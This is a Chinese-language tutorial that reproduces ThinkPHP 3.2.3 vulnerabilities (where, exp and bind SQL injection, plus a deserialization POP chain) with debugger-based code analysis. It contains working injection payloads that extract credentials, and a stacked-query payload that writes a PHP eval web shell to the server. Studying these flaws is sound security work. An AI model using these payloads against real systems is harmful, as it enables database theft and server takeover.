趁热打铁,把ThinkPHP3的相关漏洞都复现一下
ThinkPHP3
环境搭建
PHP5.5.9+ThinkPHP3.2.3
方法一
源码下载链接:http://m.lxywzjs.com/wap/article/index/artid/199.html
打开phpstudy,新建一个网站
将源码文件解压放到thinkphp3的文件夹内即可
方法二
像方法一那样打开phpstudy,新建一个网站
创建好网站后先下载下composer工具,可以从软件管理 => composer
处下载
下载好后在管理打开composer
选择php版本为大于5.3的
然后执行命令安装
1 | composer create-project topthink/thinkphp:v3.2.3 tp3 |
安装成功后将tp3文件夹内的所有文件移到根目录thinkphp3
下
最后在刚刚执行composer命令的终端更新一下即可
1 | composer update |
访问./index.php
出现以下界面,说明环境搭建成功
数据库配置
配置文件位置ThinkPHP/Conf/convention.php
参数配置如下
1 | <?php |
在thinkphp3下载一个管理工具phpMyAdmin,绑定thinkphp3网站
创建thinkphp3数据库,登录phpMyAdmin
创建表的字段如下(注意数据表前缀和配置文件相同)
ThinkPHP3.2.3 where注入漏洞
入口文件:Application/Home/Controller/IndexController.class.php
修改一下index()
1 | public function index(){ |
POC
结合报错注入
1 | ?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)# |
执行POC,通过报错得到user
如果要执行查询表,注意表名是带前缀的think_user
1 | ?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from think_user limit 1),0x7e),1)# |
漏洞分析
我们在$id
和$data
分别下断点
执行id=1'
,进行调试
跟进到ThinkPHP\Common\functions.php
的I()
方法,接收$name
参数
这里的$name
的值就为GET.id
,我们下断点理解容易点
最后执行switch选择GET方法后break,$input
数组为我们传参的id=1'
我们往下翻,由于$name
不为空,那么来到第388行的elseif语句
这里进行判断$input
数组的$name
是否为空,而$name
就是我们GET传参的参数id。判断为真后赋值给$data
我们继续在第391行打上断点,调试发现执行完$filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
$filters
被赋值为htmlspecialchars
这部分代码无关紧要,我们跳到第406行看看
这里将$filters
赋值给$filter
也就是htmlspecialchars
,然后如果该函数存在且$data
不为数组,那么执行参数过滤也就是执行htmlspecialchars($data)
。继续往后看,这里代码逻辑是如果$data
为数组,那么执行以下命令
1 | array_walk_recursive($data, 'think_filter') |
我们把GET传参改为?id[where]=1'
,并在这里下断点进行调试
跟进发现跳转到think_filter()
方法,这里就是进行一个对SQL注入关键字的过滤
最后返回值$data
即1'
,这里的返回值作为后面find方法的输入(非常关键)
回到Application\Home\Controller\IndexController.class.php
,把第9行和前面打的断点去掉,只留下第10行的断点,调试跟进一下
来到ThinkPHP\Common\functions.php
的M()
方法
这里传参进来的是$name
为user,由于$name
不存在:
所以$class
默认赋值为Think\Model
。$guid
也由于$connection
为空所以进行拼接,我们下断点看看,结果为user_Think\Model
然后因为$_model
数组为空,所以这里进行实例化Model
类
下断点调试,直接F10逐过程跟进到ThinkPHP\Library\Think\Model.class.php
的Model
类的find方法
这里我们单步调试一行行看,注意$options
就是我们前面提到的返回值$data
,如果为字符型或者数字型,那么赋值给$options
数组的where键。类似下面在这种格式
1 | $options=["where" => ["id" => "1'"]]; |
这个地方是where注入的核心点,我们可以传递数组
$data
绕过if语句的赋值,通过类似污染的手段直接对$options['where']
赋值来绕过后面的数据验证,具体分析后面会提到
继续往后看这里调用_parseOptions()
方法
跟进一下,注意到存在对传参数据进行验证
这里if条件均为真,继续到foreach对字段进行匹配,接着跟进一下_parseType()
方法
1 | protected function _parseType(&$data, $key) |
在这里会把 id 进行强制类型转换,我们的1'
变成1
然后返回给_parseOptions()
,最终带入$this->db->select($options)
进行查询从而避免注入问题
总结
注入点是where键,链子:传入id=1' -> I() -> find() -> _parseOptions() -> _parseType()
而我们的id参数被改变的位置就在_parseType()
中,进入这个方法的位置是ThinkPHP/Library/Think/Model.class.php:704
1 | if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) |
我们要不经过if语句才能不被强制类型转换,这里破坏的条件是is_array($options['where'])
,我们前面有讲到GET传参会赋值给where键,那么我们可以直接赋值where键即可实现绕过
被强制类型转换
1 | ?id=1' #变为1,即查询id=1的数据 |
直接赋值绕过
1 | ?id[where]=1' #查询不到id=1'的数据,成功注入 |
以上就是整个where注入的代码逻辑
ThinkPHP3.2.3 exp注入漏洞
入口文件:Application/Home/Controller/IndexController.class.php
修改一下index()
1 | public function index(){ |
POC
执行POC,通过报错得到user
1 | ?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1) |
注:这里后面的是==
漏洞分析
在入口文件的第9行下断点,执行?id=1'
调试跟进一下,在第654行下断点
可以发现这里$class
经过parse_res_name()
处理赋值为Home\Model\UserModel
。由于该类不存在进入elseif语句,然后if语句为false,继续进入else语句,$class
赋值为\Common\Model\userModel
。接着如果该类还不存在,那么实例化Think\Model
类
最后返回Model
对象
回到入口文件后接收GET参数id,然后调用Model
类的where()
方法
$where
就是我们传参的数组["id" => "1'"]
,而这里前面的if语句都不满足,直接跳到最后。因为options
数组不存在where键,所以执行$this->options['where'] = $where;
继续跟进到ThinkPHP\Library\Think\Model.class.php
的Model
类的find方法,这里和where注入的代码逻辑差不多,不过我们没有绕过_parseType()
方法。直接到$this->db->select($options);
在第822行下断点,调试跟进一下select()
方法
在第1039行下断点,继续跟进buildSelectSql()
方法
在第1060行下断点,继续跟进parseSql()
方法
这里将$sql
查询语句中的参数进行替换,我们的$option
数组如下
所以我们在第1079行下断点跟进parseWhere()
方法,由于$where
是数组,进入else语句
然后foreach遍历where数组赋值,后面的if语句均为flase直接到第586行执行
1 | $whereStr .= $this->parseWhereItem($this->parseKey($key), $val); |
这里$key
要先经过parseKey()
处理,继续跟进parseWhereItem()
方法
这部分就是代码的核心,首先判断$val
是否为数组,然后根据$val[0]
的参数值不同来执行代码。接着如果$exp
为bind或exp, $whereStr
会将$key
与$val[1]
进行拼接,所以我们payload如下
1 | ?id[0]=exp&id[1]==1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1) |
注:进行拼接的时候$val[1]
需要有=
,这样拼接后SQL查询语句才正确
最后再与where拼接替换到原SQL查询语句即可
1 | ... where `id` =1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1) |
以上就是整个exp注入的代码逻辑
ThinkPHP3.2.3 bind注入漏洞
入口文件:Application/Home/Controller/IndexController.class.php
修改一下index()
1 | public function index(){ |
POC
执行POC,得到user
1 | ?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1 |
注:这里为id[1]=0
漏洞分析
我们执行POC,在入口文件第12行下断点
单步调试,跟进ThinkPHP\Library\Think\Model.class.php
的save()
方法
往下翻一下,这里代码逻辑和前面exp注入时分析的差不多
出现_parseOptions()
方法进行强制类型转换
继续往下在第480行下断点,跟进一下
这里我们可以看到有调用parseWhere()
方法
我们前面在exp注入分析的时候有提到过,会继续调用parseWhereItem()
方法,然后根据$id[1]
的值不同来执行代码,其中如果等于bind的话会与=:
拼接
我们尝试传入以下代码
1 | ?id[0]=bind&id[1]=aa |
可以发现SQL语句报错
不难发现多了个冒号变成:aa
,怎么样可以消除掉冒号呢?
把GET传参改回POC,我们在第985行下断点跟进parseSet()
方法
if语句不满足直接跳到第417的else语句,这里bind数组还是为空所以$name
赋值为0,然后继续跟进bindParam()
方法进行bind参数绑定,相当于得到$bind
数组为[":0" =>"1"]
1 | protected function bindParam($name, $value) |
这里了解参数绑定过程后,单步跳出回到update()
方法
我们往下看注意第997行的execute()
方法
跟进到 ThinkPHP/Library/Think/Db/Driver.class.php:207
的execute()
重点看下面代码
1 | if (!empty($this->bind)) { |
这里的function是匿名函数,接收参数$val
然后进行escapeString()
处理(也就是转义处理),然后将$val
拼接两个单引号并返回值。
1 | //匿名函数 |
这里使用了array_map()
函数为数组的每个元素应用回调函数(上面说到的匿名函数),而bind数组为[":0" =>"1"]
,所以执行结果为'1'
,bind数组变为为[":0" =>"'1'"]
最后执行strtr()
函数,我们在PHP中文手册查找下此函数,看下给的DEMO其实不难理解
具体就以下两点
- 第一个参数是目标字符串
- 第二个参数是替换规则,由数组决定
所以我们bind数组就是替换规则,即:0
替换成'1'
。我们前面提到过id[0]=bind
会使得查询语句与:
拼接,而在这里我们让id[1]
的值与:
拼接后构造出:0
,然后再被替换成'1'
。所以这也是为什么我们POC会是0不是其他值
我们下断点看看前后变化,可以发现经过构造使得SQL查询语句的:0
均被替换
以上就是整个bind注入的代码逻辑
ThinkPHP3.2.3 反序列化漏洞
入口文件:Application/Home/Controller/IndexController.class.php
修改一下index()
1 | public function index(){ |
POC
1 |
|
执行结果如下
不过由于报错注入权限比较低,我们要想拿shell的话需要写入木马,所以可以开启堆叠后写入一句话木马
修改下table键就行
1 | think_user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# |
POP链分析
因为大多数反序列化漏洞,都是由__destruct()
魔术方法引起的,因此全局搜索public function __destruct()
注:在寻找__destruct()
可用的魔术方法需遵循“可控变量尽可能多”的原则
比如下图这个,没啥可控参数就不好利用
这里我们选择ThinkPHP\Library\Think\Image\Driver\Imagick.class.php
的__dustruct()
方法
如果$this-img
不为空,那么调用destroy()
注:这里有一个坑点,就是在PHP7版本中,如果调用一个含参数的方法,却不传入参数时ThinkPHP会报错,而在PHP5版本中不会报错,这也是为什么我们选择PHP5版本搭建
继续全局搜索destroy()
方法,跟进ThinkPHP\Library\Think\Session\Driver\Memcache.class.php
1 | public function destroy($sessID) |
这里的delete()
方法的参数看似可控,其实不可控,因为下方全局搜索后,delete()
方法需要的参数大多数都为array
形式,而上方传入的是$this->sessionName.$sessID
,即使$this->sesionName
设置为数组array
,但是$sessID
如果为空值,在PHP中,用.
连接符连接,得到的结果为字符串array
虽然不可控,但我们还是全局搜索一下
注意到ThinkPHP\Mode\Lite\Model.class.php
这里的delete()
方法又调用了一次delete()
方法,而这里传入的参数是data[pk]
,我们跟进一下getPk()
,发现完全可控
1 | public function getPk() |
我们在这个方法先添加一行代码echo "<br>"."success";
,验证一下思路是否正确
前面一共涉及到三个类,链子为Imagick -> Memcache -> Model
,然后构造demo如下
1 | <?php |
执行结果如下
接下来继续分析,这里$data
可控,然后再次调用delete()
方法说明$options
可控
我们往下翻注意到第528行有调用delete()
方法,那么我们就可以调用自带的数据库类 Mysql.class.php 中的 delete() 方法。不过这里前提是绕过第517行的if语句,所以按照注释我们设 where 键为1=1
即可
结合全局搜索的结果我们跟进到ThinkPHP\Library\Think\Db\Driver.class.php
看看
跟进parseTable()
方法
1 | protected function parseTable($tables) |
这里只调用了parseKey()
方法,继续跟进
1 | protected function parseKey(&$key) |
没有过滤,直接将传入的参数返回
回到Driver.class.php
,我们注意$sql
是将$table
和DELETE FROM
字符串进行拼接,所以这里我们可以通过options[table]
去进行报错注入。整理一下POP链为:Imagick -> Memcache -> Model -> Mysql
,我们最后只需在Mysql类配置数据库连接信息即可
1 | namespace Think\Db\Driver { |
以上就是反序列化漏洞的完整分析